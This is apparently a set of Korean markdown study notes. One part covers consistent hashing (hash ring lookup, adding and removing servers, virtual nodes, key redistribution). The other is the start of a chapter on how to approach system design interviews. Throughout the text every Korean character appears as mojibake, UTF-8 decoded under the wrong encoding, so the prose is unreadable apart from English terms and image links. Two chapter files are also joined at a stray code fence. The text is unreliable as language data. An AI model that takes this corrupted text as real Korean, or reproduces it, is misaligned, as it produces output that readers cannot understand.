*์—ฌ๊ธฐ์„œ ์‚ฌ์šฉ๋œ ํ•ด์‹œ ํ•จ์ˆ˜๋Š” ํ•ด์‹œ ํ‚ค ์žฌ๋ฐฐ์น˜(rehash) ๋ฌธ์ œ์—์„œ ์–ธ๊ธ‰ํ•œ ํ•จ์ˆ˜์™€๋Š” ๋‹ค๋ฅด๋ฉฐ, ๋‚˜๋จธ์ง€ ์—ฐ์‚ฐ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ์žˆ๋‹ค.* ์•„๋ž˜ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด ์บ์‹œํ•  ํ‚ค๋ฅผ ํ•ด์‹œ ๋ง ์œ„์˜ ์–ด๋А ์ง€์ ์— ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ๋‹ค. ![5-3](img/5-3.jpeg) ### ์„œ๋ฒ„ ์กฐํšŒ ์–ด๋–ค ํ‚ค๊ฐ€ ์ €์žฅ๋˜๋Š” ์„œ๋ฒ„๋Š”, ํ•ด๋‹น ํ‚ค์˜ ์œ„์น˜๋กœ๋ถ€ํ„ฐ ์‹œ๊ณ„ ๋ฐฉํ–ฅ์œผ๋กœ ๋ง์„ ํƒ์ƒ‰ํ•ด๋‚˜๊ฐ€๋ฉด์„œ ๋งŒ๋‚˜๋Š” ์ฒซ ๋ฒˆ์งธ ์„œ๋ฒ„๋‹ค. ์•„๋ž˜ ๊ทธ๋ฆผ์—์„œ key0์€ ์„œ๋ฒ„ 0์— ์ €์žฅ๋˜๊ณ , key1์€ ์„œ๋ฒ„ 1์— ์ €์žฅ๋˜๋ฉฐ key2๋Š” ์„œ๋ฒ„2, key3์€ ์„œ๋ฒ„3์— ์ €์žฅ๋œ๋‹ค. ![5-4](img/5-4.jpeg) ### ์„œ๋ฒ„ ์ถ”๊ฐ€ ๋ฐฉ๊ธˆ ์„ค๋ช…ํ•œ ๋‚ด์šฉ์— ๋”ฐ๋ฅด๋ฉด, ์„œ๋ฒ„๋ฅผ ์ถ”๊ฐ€ํ•˜๋”๋ผ๋„ ํ‚ค์˜ ์ผ๋ถ€๋งŒ ์žฌ๋ฐฐ์น˜ ๋œ๋‹ค. ์•„๋ž˜ ๊ทธ๋ฆผ์—์„œ ์„œ๋ฒ„ 4๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ์ง€๋งŒ key0๋งŒ ์žฌ๋ฐฐ์น˜ ๋œ๋‹ค. ์„œ๋ฒ„ 4๊ฐ€ ์ถ”๊ฐ€๋œ ์ดํ›„๋กœ key0๊ฐ€ ์‹œ๊ณ„ ๋ฐฉํ–ฅ์œผ๋กœ ์ˆœํšŒํ–ˆ์„ ๋•Œ ์ฒ˜์Œ์œผ๋กœ ๋งŒ๋‚˜๊ฒŒ ๋˜๋Š” ์„œ๋ฒ„๊ฐ€ ์„œ๋ฒ„4๊ฐ€ ๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋‹ค๋ฅธ ํ‚ค๋“ค์€ ์žฌ๋ฐฐ์น˜ ๋˜์ง€ ์•Š๋Š”๋‹ค. ![5-5](img/5-5.jpeg) ### ์„œ๋ฒ„ ์ œ๊ฑฐ ํ•˜๋‚˜์˜ ์„œ๋ฒ„๊ฐ€ ์ œ๊ฑฐ๋˜๋ฉด ํ‚ค์˜ ์ผ๋ถ€๋งŒ ์žฌ๋ฐฐ์น˜ ๋œ๋‹ค. ์•„๋ž˜ ๊ทธ๋ฆผ์—์„œ ์„œ๋ฒ„ 1์˜ ์ œ๊ฑฐ๋กœ key1๋งŒ ์žฌ๋ฐฐ์น˜ ๋œ๋‹ค. ![5-6](img/5-6.jpeg) ### ๊ธฐ๋ณธ ๊ตฌํ˜„๋ฒ•์˜ ๋‘ ๊ฐ€์ง€ ๋ฌธ์ œ ์•ˆ์ • ํ•ด์‹œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ MIT์—์„œ ์ฒ˜์Œ ์ œ์•ˆ๋˜์–ด ๊ทธ ๊ธฐ๋ณธ ์ ˆ์ฐจ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค 1. ์„œ๋ฒ„์™€ ํ‚ค๋ฅผ ๊ท ๋“ฑ ๋ถ„ํฌ (uniform distribution) ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด์‹œ ๋ง์— ๋ฐฐ์น˜ํ•œ๋‹ค. 2. ํ‚ค์˜ ์œ„์น˜์—์„œ ๋ง์„ ์‹œ๊ณ„ ๋ฐฉํ–ฅ์œผ๋กœ ํƒ์ƒ‰ํ•˜๋‹ค ๋งŒ๋‚˜๋Š” ์ตœ์ดˆ์˜ ์„œ๋ฒ„๊ฐ€ ํ‚ค๊ฐ€ ์ €์žฅ๋  ์„œ๋ฒ„๋‹ค. ์ด ์ ‘๊ทผ๋ฒ•์—๋Š” ๋‘๊ฐ€์ง€ ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค. 1. ์„œ๋ฒ„์ˆ˜์˜ ๋ณ€๊ฒฝ์ด ์ผ์–ด๋‚˜๋ฉด ํŒŒํ‹ฐ์…˜์˜ ํฌ๊ธฐ๋ฅผ ๊ท ๋“ฑํ•˜๊ฒŒ ์œ ์ง€ํ•˜๋Š”๊ฒŒ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค 1. ํŒŒํ‹ฐ์…˜์€ ์ธ์ ‘ํ•œ ์„œ๋ฒ„ ์‚ฌ์ด์˜ ํ•ด์‹œ ๊ณต๊ฐ„ 2. ์–ด๋–ค ์„œ๋ฒ„๋Š” ๊ต‰์žฅํžˆ ์ž‘์€ ํ•ด์‹œ ๊ณต๊ฐ„์„ ํ• ๋‹น ๋ฐ›๊ณ , ์–ด๋–ค ์„œ๋ฒ„๋Š” ๊ต‰์žฅํžˆ ํฐ ํ•ด์‹œ ๊ณต๊ฐ„์„ ํ• ๋‹น ๋ฐ›๋Š” ์ƒํ™ฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ์•„๋ž˜ ๊ทธ๋ฆผ์—์„œ s2๋Š” s1์ด ์ œ๊ฑฐ๋˜์–ด ํŒŒํ‹ฐ์…˜์ด ๋‹ค๋ฅธ ํŒŒํ‹ฐ์…˜ ๋Œ€๋น„ ๋‘ ๋ฐฐ ๊ฐ€๋Ÿ‰ ์ปค์ง„๋‹ค. ![5-7](img/5-7.jpeg) 2. ํ‚ค์˜ ๊ท ๋“ฑ ๋ถ„ํฌ๊ฐ€ ์–ด๋ ต๋‹ค ์•„๋ž˜ ๊ทธ๋ฆผ์—์„œ s0, s1, s3๋Š” ์•„๋ฌด ๋ฐ์ดํ„ฐ๋„ ๊ฐ–์ง€ ์•Š๋Š” ๋ฐ˜๋ฉด ๋Œ€๋ถ€๋ถ„์˜ ํ‚ค๋Š” s2์— ๋ณด๊ด€๋  ๊ฒƒ์ด๋‹ค. ![5-8](img/5-8.jpeg) ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ์ œ์•ˆ๋œ ๊ธฐ๋ฒ•์ด virtual node ๋˜๋Š” replica๋ผ ๋ถˆ๋ฆฌ๋Š” ๊ธฐ๋ฒ•์ด๋‹ค. #### ๊ฐ€์ƒ ๋…ธ๋“œ (virtual node) virtual node๋Š” ์‹ค์ œ ๋…ธ๋“œ ๋˜๋Š” ์„œ๋ฒ„๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋…ธ๋“œ๋กœ์„œ ํ•˜๋‚˜์˜ ์„œ๋ฒ„๋Š” ๋ง ์œ„์— ์—ฌ๋Ÿฌ๊ฐœ์˜ ๊ฐ€์ƒ ๋…ธ๋“œ๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜ ๊ทธ๋ฆผ์„ ๋ณด๋ฉด ์„œ๋ฒ„ 0๊ณผ ์„œ๋ฒ„ 3์€ 3๊ฐœ์˜ ๊ฐ€์ƒ ๋…ธ๋“œ๋ฅผ ๊ฐ–์œผ๋ฉฐ, ์‹ค์ œ๋กœ๋Š” ์ด๋ณด๋‹ค ํ›จ์”ฌ ํฐ ๊ฐ’์ด ์‚ฌ์šฉ๋œ๋‹ค. ์ด ๋‘ ์„œ๋ฒ„๋ฅผ ๋ง์— ๋ฐฐ์น˜ํ•  ๋•Œ๋Š” s0,s1~ s0-3,s1-3 ์„ธ๊ฐœ์˜ ๊ฐ€์ƒ ๋…ธ๋“œ๋ฅผ ์‚ฌ์šฉํ–ˆ๊ณ  ์ด๋กœ ์ธํ•ด ๊ฐ ์„œ๋ฒ„๋Š” ํ•˜๋‚˜๊ฐ€ ์•„๋‹Œ ์—ฌ๋Ÿฌ๊ฐœ์˜ ํŒŒํ‹ฐ์…˜์„ ๊ด€๋ฆฌํ•ด์•ผ ํ•œ๋‹ค. s0์œผ๋กœ ํ‘œ์‹œ๋œ ํŒŒํ‹ฐ์…˜์€ s0์ด ๊ด€๋ฆฌํ•˜๋Š” ํŒŒํ‹ฐ์…˜์ด๊ณ  s1์œผ๋กœ ํ‘œ์‹œ๋œ ํŒŒํ‹ฐ์…˜์€ s1์ด ๊ด€๋ฆฌํ•˜๋Š” ํŒŒํ‹ฐ์…˜์ด๋‹ค. ![5-9](img/5-9.jpeg) ๊ฐ€์ƒ ๋…ธ๋“œ์˜ ๊ฐœ์ˆ˜๋ฅผ ๋Š˜๋ฆฌ๋ฉด ํ‚ค์˜ ๋ถ„ํฌ๋Š” ์ ์  ๊ท ๋“ฑํ•ด์ง„๋‹ค. ํ‘œ์ค€ ํŽธ์ฐจ๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ์–ด๋–ป๊ฒŒ ํผ์ ธ ๋‚˜๊ฐ”๋Š”์ง€๋ฅผ ๋ณด์ด๋Š” ์ฒ™๋„๋‹ค. ๊ฐ€์ƒ ๋…ธ๋“œ์˜ ๊ฐœ์ˆ˜๋ฅผ ๋Š˜๋ฆฌ๋ฉด ํ‘œ์ค€ ํŽธ์ฐจ์˜ ๊ฐ’์€ ๋–จ์–ด์ง€์ง€๋งŒ, ๊ฐ€์ƒ ๋…ธ๋“œ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ๊ณต๊ฐ„์€ ๋” ๋งŽ์ด ํ•„์š”ํ•˜๊ฒŒ ๋œ๋‹ค. tradeoff๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ๋”ฐ๋ผ์„œ ์‹œ์Šคํ…œ ์š”๊ตฌ์‚ฌํ•ญ์— ๋งž๋„๋ก ๊ฐ€์ƒ ๋…ธ๋“œ ๊ฐœ์ˆ˜๋ฅผ ์ ์ ˆํžˆ ์กฐ์ ˆํ•ด์•ผ ํ•œ๋‹ค. ### ์žฌ๋ฐฐ์น˜ํ•  ํ‚ค ๊ฒฐ์ • ์„œ๋ฒ„๊ฐ€ ์ถ”๊ฐ€๋˜๊ฑฐ๋‚˜ ์ œ๊ฑฐ๋˜๋ฉด ๋ฐ์ดํ„ฐ ์ผ๋ถ€๋Š” ์žฌ๋ฐฐ์น˜ ํ•ด์•ผ ํ•œ๋‹ค. ์–ด๋А ๋ฒ”์œ„์˜ ํ‚ค๋“ค์ด ์žฌ๋ฐฐ์น˜๋˜์–ด์•ผ ํ• ๊นŒ? ์•„๋ž˜์™€ ๊ฐ™์ด ์„œ๋ฒ„ 4๊ฐ€ ์ถ”๊ฐ€๋œ๊ฒฝ์šฐ, s3~s4 ๊ตฌ๊ฐ„์˜ ํ‚ค๊ฐ€ s4๋กœ ์žฌ๋ฐฐ์น˜ ๋˜์–ด์•ผ ํ•œ๋‹ค. ๋˜, ์„œ๋ฒ„ 1์ด ์‚ญ์ œ๋  ๊ฒฝ์šฐ ์„œ๋ฒ„ 0์—์„œ ์„œ๋ฒ„ 1์‚ฌ์ด์˜ ํ‚ค๊ฐ€ ์„œ๋ฒ„2๋กœ ์žฌ๋ฐฐ์น˜ ๋˜์–ด์•ผ ํ•œ๋‹ค. ![5-10](img/5-10.jpeg) ### ์ •๋ฆฌ ์•ˆ์ •ํ•ด์‹œ์˜ ์ด์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. - ์„œ๋ฒ„๊ฐ€ ์ถ”๊ฐ€๋˜๊ฑฐ๋‚˜ ์‚ญ์ œ๋  ๋•Œ ์žฌ๋ฐฐ์น˜ ๋˜๋Š” ํ‚ค์˜ ์ˆ˜๊ฐ€ ์ตœ์†Œํ™”๋œ๋‹ค. - ๋ฐ์ดํ„ฐ๊ฐ€ ๋ณด๋‹ค ๊ท ๋“ฑํ•˜๊ฒŒ ๋ถ„ํฌํ•˜๊ฒŒ ๋˜๋ฏ€๋กœ ์ˆ˜ํ‰์  ๊ทœ๋ชจ ํ™•์žฅ์„ฑ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์‰ฝ๋‹ค. - ํ•ซ์ŠคํŒŸ ํ‚ค๋ฌธ์ œ๋ฅผ ์ค„์ธ๋‹ค. ํŠน์ •ํ•œ ์ƒค๋“œ์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ์ง€๋‚˜ํ‹ฐ๊ฒŒ ๋นˆ๋ฒˆํ•˜๋ฉด ์„œ๋ฒ„ ๊ณผ๋ถ€ํ•˜๊ฐ€ ์ƒ๊ธธ ์ˆ˜ ์žˆ๋‹ค. ์•ˆ์ • ํ•ด์‹œ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ข€ ๋” ๊ท ๋“ฑํ•˜๊ฒŒ ๋ถ„๋ฐฐํ•˜๋ฏ€๋กœ ์ด๋Ÿฐ ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธธ ๊ฐ€๋Šฅ์„ฑ์„ ์ค„์ธ๋‹ค. ์•ˆ์ • ํ•ด์‹œ๋Š” ์‹ค์ œ๋กœ ๋„๋ฆฌ ์“ฐ์ด๊ณ  ์žˆ์œผ๋ฉฐ, ์œ ๋ช…ํ•œ ์‚ฌ๋ก€๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค. - ์•„๋งˆ์กด ๋‹ค์ด๋‚˜๋ชจ DB์˜ ํŒŒํ‹ฐ์…”๋‹ ๊ด€๋ จ ์ปดํฌ๋„ŒํŠธ - ์•„ํŒŒ์น˜ ์นด์‚ฐ๋“œ๋ผ ํด๋Ÿฌ์Šคํ„ฐ์—์„œ์˜ ๋ฐ์ดํ„ฐ ํŒŒํ‹ฐ์…”๋‹ - ๋””์Šค์ฝ”๋“œ ์ฑ„ํŒ… ์•ฑ - ์•„์นด๋งˆ์ด CDN - ๋ฉ”๊ทธ๋ž˜ํ”„ ๋„คํŠธ์›Œํฌ ๋ถ€ํ•˜ ๋ถ„์‚ฐ๊ธฐ ``` chap3.md ```# 3์žฅ ์‹œ์Šคํ…œ ์„ค๊ณ„ ๋ฉด์ ‘ ๊ณต๋žต๋ฒ• - ์‹œ์Šคํ…œ ์„ค๊ณ„ ๋ฉด์ ‘์€ ๋‹นํ™ฉ์Šค๋Ÿฌ์šธ ๋•Œ๊ฐ€ ๋งŽ๋‹ค. - eg) "๋„๋ฆฌ ์•Œ๋ ค์ง„ ์ œํ’ˆ X๋ฅผ ์„ค๊ณ„ํ•ด๋ณด์„ธ์š”" - ๋ชจํ˜ธํ•˜๊ณ , ๋ฒ”์œ„๋„ ์ง€๋‚˜์น˜๊ฒŒ ๋„“๋‹ค. - ์ด๋Ÿฐ ์‹œ์Šคํ…œ์„ ํ•œ ์‚ฌ๋žŒ์ด ์„ค๊ณ„ํ•  ์ˆ˜ ์žˆ์œผ๋ฆฌ๋ผ ๊ธฐ๋Œ€ํ•˜์ง€ ์•Š๋Š”๋‹ค. - ์‹œ์Šคํ…œ ์„ค๊ณ„ ๋ฉด์ ‘์€ - ๋ชจํ˜ธํ•œ ๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ ์œ„ํ•ด ํ˜‘๋ ฅํ•˜์—ฌ ๊ทธ ํ•ด๊ฒฐ์ฑ…์„ ์ฐพ์•„๋‚ด๋Š” ๊ณผ์ •์— ๋Œ€ํ•œ ์‹œ๋ฎฌ๋ ˆ์ด์…˜์ด๋‹ค. - ์„ค๊ณ„ ๊ธฐ์ˆ ์„ ์‹œ์—ฐํ•˜๊ณ  - ์„ค๊ณ„ ๊ณผ์ •์— ๋‚ด๋ฆฐ ๊ฒฐ์ •๋“ค์— ๋Œ€ํ•œ ๋ฐฉ์–ด ๋Šฅ๋ ฅ์„ ๋ณด์ด๋ฉฐ - ๋ฉด์ ‘๊ด€์˜ ํ”ผ๋“œ๋ฐฑ์„ ๊ฑด์„ค์ ์ธ ๋ฐฉ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•  ์ž์งˆ์ด ์žˆ์Œ์„ ๋ณด์ด๋Š” ์ž๋ฆฌ์ด๋‹ค. - ๋ฉด์ ‘๊ด€์ด ํ‰๊ฐ€ํ•˜๊ณ ์ž ํ•˜๋Š” ๊ฒƒ์€? - ๊ธฐ์ˆ ์  ์ธก๋ฉด ๊ทธ ์ด์ƒ - ํ˜‘๋ ฅ์— ์ ํ•ฉํ•œ์ง€, ์••๋ฐ•๊ฐ์„ ์ž˜ ๊ฒฌ๋ŽŒ๋‚ด๋Š”์ง€, ๋ชจํ˜ธํ•œ ๋ฌธ์ œ๋ฅผ ๊ฑด์„ค์ ์œผ๋กœ ํ•ด๊ฒฐํ•˜๋Š” ์ง€, ์ข‹์€ ์งˆ๋ฌธ์„ ๋˜์งˆ ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ์žˆ๋Š”์ง€ ๋“ฑ - ๋ฉด์ ‘๊ด€์ด ๋ฐœ๊ฒฌํ•˜๋Š” red flag - ์„ค๊ณ„์— ์ง‘์ฐฉํ•˜์—ฌ tradeoff๋ฅผ ํ•˜์ง€ ๋ชปํ•˜๊ณ  over engineering์„ ํ•˜๋Š” ๊ฒฝ์šฐ - ์™„๊ณ ํ•จ, ํŽธํ˜‘ํ•จ ๋“ฑ ## ํšจ๊ณผ์  ๋ฉด์ ‘์„ ์œ„ํ•œ 4๋‹จ๊ณ„ ์ ‘๊ทผ๋ฒ• ### 1๋‹จ๊ณ„ ๋ฌธ์ œ ์ดํ•ด ๋ฐ ์„ค๊ณ„ ๋ฒ”์œ„ ํ™•์ • - ๋ฌธ์ œ์— ๋Œ€ํ•œ ๋‹ต์„ ๋ฐ”๋กœ ๋‚ด์„œ ์ข‹์€ ์ ์ˆ˜๋ฅผ ๋ฐ›๊ธฐ ์–ด๋ ต๋‹ค. ์š”๊ตฌ์‚ฌํ•ญ์„ ์ œ๋Œ€๋กœ ์ดํ•ดํ•˜์ง€ ์•Š๊ณ  ๋‚ด๋†“๋Š” ๋‹ต์€ red flag - **์ฒœ์ฒœํžˆ ์ƒ๊ฐํ•˜๊ณ  ์งˆ๋ฌธํ•˜์—ฌ ์š”๊ตฌ์‚ฌํ•ญ๊ณผ ๊ฐ€์ •์„ ๋ถ„๋ช…ํžˆ ํ•  ๊ฒƒ** - ์˜ฌ๋ฐ”๋ฅธ ์งˆ๋ฌธ์„ ํ•˜๊ณ , ์ ์ ˆํ•œ ๊ฐ€์ •์„ ํ•˜๋Š” ๊ฒƒ ๊ทธ๋ฆฌ๊ณ  ์‹œ์Šคํ…œ ๊ตฌ์ถ•์— ํ•„์š”ํ•œ ์ •๋ณด๋ฅผ ๋ชจ์œผ๋Š” ๊ฒƒ์ด ์—”์ง€๋‹ˆ์–ด๊ฐ€ ๊ฐ€์ ธ์•ผํ•  ์ž์งˆ ์ค‘ ํ•˜๋‚˜ - ๋ฉด์ ‘๊ด€์ด ์งˆ๋ฌธ์— ๋‹ต๋ณ€์„ ํ•˜๊ฑฐ๋‚˜ ์Šค์Šค๋กœ ๊ฐ€์ •์„ ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์ •๋ณด๋Š” ์ ์–ด๋‘๋„๋ก ํ•œ๋‹ค. ํ›„์— ํ•„์š”ํ•ด์งˆ ์ˆ˜ ์žˆ๋‹ค. - ์–ด๋–ค ์งˆ๋ฌธ์„ ํ•ด์•ผํ• ๊นŒ? - ๊ตฌ์ฒด์ ์œผ๋กœ ์–ด๋–ค ๊ธฐ๋Šฅ๋“ค์„ ๋งŒ๋“ค์–ด์•ผ ํ•˜๋‚˜? - ์ œํ’ˆ ์‚ฌ์šฉ์ž ์ˆ˜๋Š” ์–ผ๋งˆ๋‚˜ ๋˜๋‚˜? - ํšŒ์‚ฌ์˜ ๊ทœ๋ชจ๋Š” ์–ผ๋งˆ๋‚˜ ๋นจ๋ฆฌ ์ปค์ง€๋ฆฌ๋ผ ์˜ˆ์ƒํ•˜๋‚˜? 3, 6, 12๊ฐœ์›” ๋’ค์˜ ๊ทœ๋ชจ๋Š” ์–ผ๋งˆ๋‚˜ ๋  ๊ฒƒ์ด๋ผ ์˜ˆ์ƒํ•˜๋‚˜? - ์ฃผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ์ˆ  ์Šคํƒ์€ ๋ฌด์—‡์ธ๊ฐ€? ์„ค๊ณ„๋ฅผ ๋‹จ์ˆœํ™” ํ•˜๊ธฐ ์œ„ํ•ด ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ์กด ์„œ๋น„์Šค์—๋Š” ๋ฌด์—‡์ด ์žˆ๋‚˜? ### 2๋‹จ๊ณ„ ๊ฐœ๋žต์ ์ธ ์„ค๊ณ„์•ˆ ์ œ์‹œ ๋ฐ ๋™์˜ ๊ตฌํ•˜๊ธฐ - ์„ค๊ณ„์•ˆ์— ๋Œ€ํ•œ ์ตœ์ดˆ ์ฒญ์‚ฌ์ง„์„ ์ œ์‹œํ•˜๊ณ  ์˜๊ฒฌ ๊ตฌํ•˜๊ธฐ. ๋ฉด์ ‘๊ด€์„ ํŒ€์›์ฒ˜๋Ÿผ ๋Œ€ํ•˜์ž. ์ข‹์€ ๋ฉด์ ‘๊ด€์€ ๋Œ€ํ™”ํ•˜๊ณ  ์„ค๊ณ„ ๊ณผ์ •์— ๊ฐœ์ž…ํ•˜๋Š” ๊ฒƒ์„ ์ข‹์•„ํ•œ๋‹ค. - ์ข…์ด์— ํ•ต์‹ฌ ์ปดํฌ๋„ŒํŠธ๋ฅผ ํฌํ•จํ•˜๋Š” ๋‹ค์ด์–ด๊ทธ๋žจ์„ ๊ทธ๋ ค๋ผ. ํด๋ผ์ด์–ธํŠธ, API, ์›น ์„œ๋ฒ„, ๋ฐ์ดํ„ฐ ์ €์žฅ์†Œ, ์บ์‹œ, CDN, ๋ฉ”์‹œ์ง€ ํ ๋“ฑ์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ๋‹ค. - ์ตœ์ดˆ ์„ค๊ณ„์•ˆ์ด ์‹œ์Šคํ…œ ๊ทœ๋ชจ์— ๊ด€๊ณ„๋œ ์ œ์•ฝ์‚ฌํ•ญ์„ ๋งŒ์กฑํ•˜๋Š”์ง€ ๊ฐœ๋žต์ ์œผ๋กœ ๊ณ„์‚ฐํ•œ๋‹ค. ๊ณ„์‚ฐ ๊ณผ์ •์€ ์†Œ๋ฆฌ๋‚ด์–ด ์„ค๋ช…ํ•œ๋‹ค. ์•„์šธ๋Ÿฌ, ์ด๋Ÿฐ ๊ฐœ๋žต์  ์ถ”์ •์ด ํ•„์š”ํ•œ์ง€๋Š” ๋ฉด์ ‘๊ด€์—๊ฒŒ ๋ฏธ๋ฆฌ ๋ฌผ์–ด๋ณด์ž. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์‹œ์Šคํ…œ์˜ ๊ตฌ์ฒด์  ์‚ฌ์šฉ ์‚ฌ๋ก€๋„ ์‚ดํŽด๋ณด์ž. ๊ฐœ๋žต์  ์„ค๊ณ„์•ˆ์„ ์žก๋Š”๋ฐ ๋„์›€์ด ๋œ๋‹ค. ๋ฏธ์ฒ˜ ๊ณ ๋ คํ•˜์ง€ ๋ชปํ•œ edge-case๋„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ๋‹ค. "๊ตฌ๊ธ€ ๊ฒ€์ƒ‰ ์—”์ง„์„ ์„ค๊ณ„ํ•˜๋ผ"์™€ ๊ฐ™์€ ํฐ ๊ทœ๋ชจ์˜ ์„ค๊ณ„๋ผ๋ฉด API endpoint๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์Šคํ‚ค๋งˆ ๋“ฑ์€ ์Šคํ‚ตํ•ด๋„ ๋œ๋‹ค. ๋ฉ€ํ‹ฐ ํ”Œ๋ ˆ์ด์–ด ํฌ์ปค ๊ฒŒ์ž„์˜ ๋ฐฑ์—”๋“œ๋ฅผ ์„ค๊ณ„ํ•˜๋ผ๋ผ๋Š” ์งˆ๋ฌธ์ด๋ผ๋ฉด ์„ค๊ณ„ํ•ด๋„ ๊ดœ์ฐฎ๋‹ค. ๋ฉด์ ‘๊ด€์—๊ฒŒ ์˜๊ฒฌ์„ ๋ฌผ์–ด๋ณด์ž. ### 3๋‹จ๊ณ„ ์ƒ์„ธ ์„ค๊ณ„ ์ด ๋‹จ๊ณ„์— ์™”๋‹ค๋ฉด ์•„๋ž˜ ๋ชฉํ‘œ๋Š” ๋‹ฌ์„ฑํ•œ ์ƒํƒœ์ผ ๊ฒƒ์ด๋‹ค. - ์‹œ์Šคํ…œ์—์„œ ์ „๋ฐ˜์ ์œผ๋กœ ๋‹ฌ์„ฑํ•ด์•ผ ํ•  ๋ชฉํ‘œ์™€ ๊ธฐ๋Šฅ ๋ฒ”์œ„ ํ™•์ธ - ์ „์ฒด ์„ค๊ณ„์˜ ๊ฐœ๋žต์  ์ฒญ์‚ฌ์ง„ ๋งˆ๋ จ - ํ•ด๋‹น ์ฒญ์‚ฌ์ง„์— ๋Œ€ํ•œ ๋ฉด์ ‘๊ด€์˜ ์˜๊ฒฌ ์ฒญ์ทจ - ์ƒ์„ธ ์„ค๊ณ„์—์„œ ์ง‘์ค‘ํ•ด์•ผ ํ•  ์˜์—ญ๋“ค ํ™•์ธ ์ด์ œ ํ•ด์•ผํ•  ์ผ์€ ์„ค๊ณ„ ๋Œ€์ƒ ์ปดํฌ๋„ŒํŠธ ์‚ฌ์ด์˜ ์šฐ์„ ์ˆœ์œ„๋ฅผ ์ •ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๋•Œ๋กœ๋Š” ํŠนํžˆ, ์„ ์ž„๊ธ‰ ๊ฐœ๋ฐœ์ž ๋ฉด์ ‘์˜ ๊ฒฝ์šฐ ์‹œ์Šคํ…œ์˜ ์„ฑ๋Šฅ ํŠน์„ฑ์— ๋Œ€ํ•œ ์งˆ๋ฌธ์„ ๋˜์งˆ ๊ฒƒ ์ด๊ณ , ๊ทธ ๊ฒฝ์šฐ ์งˆ๋ฌธ ๋‚ด์šฉ์€ ์‹œ์Šคํ…œ์˜ ๋ณ‘๋ชฉ ๊ตฌ๊ฐ„์ด๋‚˜ ์ž์› ์š”๊ตฌ๋Ÿ‰ ์ถ”์ •์น˜์— ์ดˆ์ ์ด ๋งž์ถฐ์ ธ ์žˆ์„ ๊ฒƒ์ด๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ ๋ฉด์ ‘๊ด€์€ ํŠน์ • ์‹œ์Šคํ…œ ์ปดํฌ๋„ŒํŠธ์˜ ์„ธ๋ถ€ ์‚ฌํ•ญ์„ ๊นŠ์ด์žˆ๊ฒŒ ์„ค๋ช…ํ•˜๊ธฐ๋ฅผ ์›ํ•œ๋‹ค. eg) ๋‹จ์ถ• URL ์ƒ์„ฑ๊ธฐ: ํ•ด์‹œ ํ•จ์ˆ˜์˜ ์„ค๊ณ„์— ๋Œ€ํ•ด ์„ค๋ช…ํ•ด์ฃผ์„ธ์š” eg) ์ฑ„๋”ฉ ์‹œ์Šคํ…œ: ์ง€์—ฐ ์‹œ๊ฐ„์„ ์ค„์ด๊ณ  ์‚ฌ์šฉ์ž์˜ ์˜จ/์˜คํ”„๋ผ์ธ ๋ชจ๋“œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•ด์ฃผ์„ธ์š”. ์‹œ๊ฐ„ ๊ด€๋ฆฌ๋„ ์ž˜ ํ•ด์•ผ ํ•œ๋‹ค. ์‚ฌ์†Œํ•œ ๋””ํ…Œ์ผ์— ์ง‘์ค‘ํ•˜๋‹ค ๋Šฅ๋ ฅ์„ ์„ ๋ณด์ผ ๊ธฐํšŒ๋ฅผ ๋†“์น  ์ˆ˜ ์žˆ๋‹ค. ### 4๋‹จ๊ณ„ ๋งˆ๋ฌด๋ฆฌ ๋ฉด์ ‘๊ด€์ด ์ถ”๊ฐ€์งˆ๋ฌธ์„ ํ•˜๊ฑฐ๋‚˜ ์Šค์Šค๋กœ ์ถ”๊ฐ€ ๋…ผ์˜๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ ์ง€์นจ์„ ํ™œ์šฉํ•˜๋„๋ก ํ•˜์ž - ์‹œ์Šคํ…œ ๋ณ‘๋ชฉ ๊ตฌ๊ฐ„, ํ˜น์€ ์ข€ ๋” ๊ฐœ์„  ๊ฐ€๋Šฅํ•œ ๋ถ€๋ถ„์„ ์ฐพ์•„๋‚ด๋ผ ์ฃผ๋ฌธํ•  ์ˆ˜ ์žˆ๋‹ค. - ์™„๋ฒฝํ•˜๋‹ค๋Š” ๋Œ€๋‹ต์€ X - ์„ค๊ณ„๋ฅผ ๋‹ค์‹œ ํ•œ ๋ฒˆ 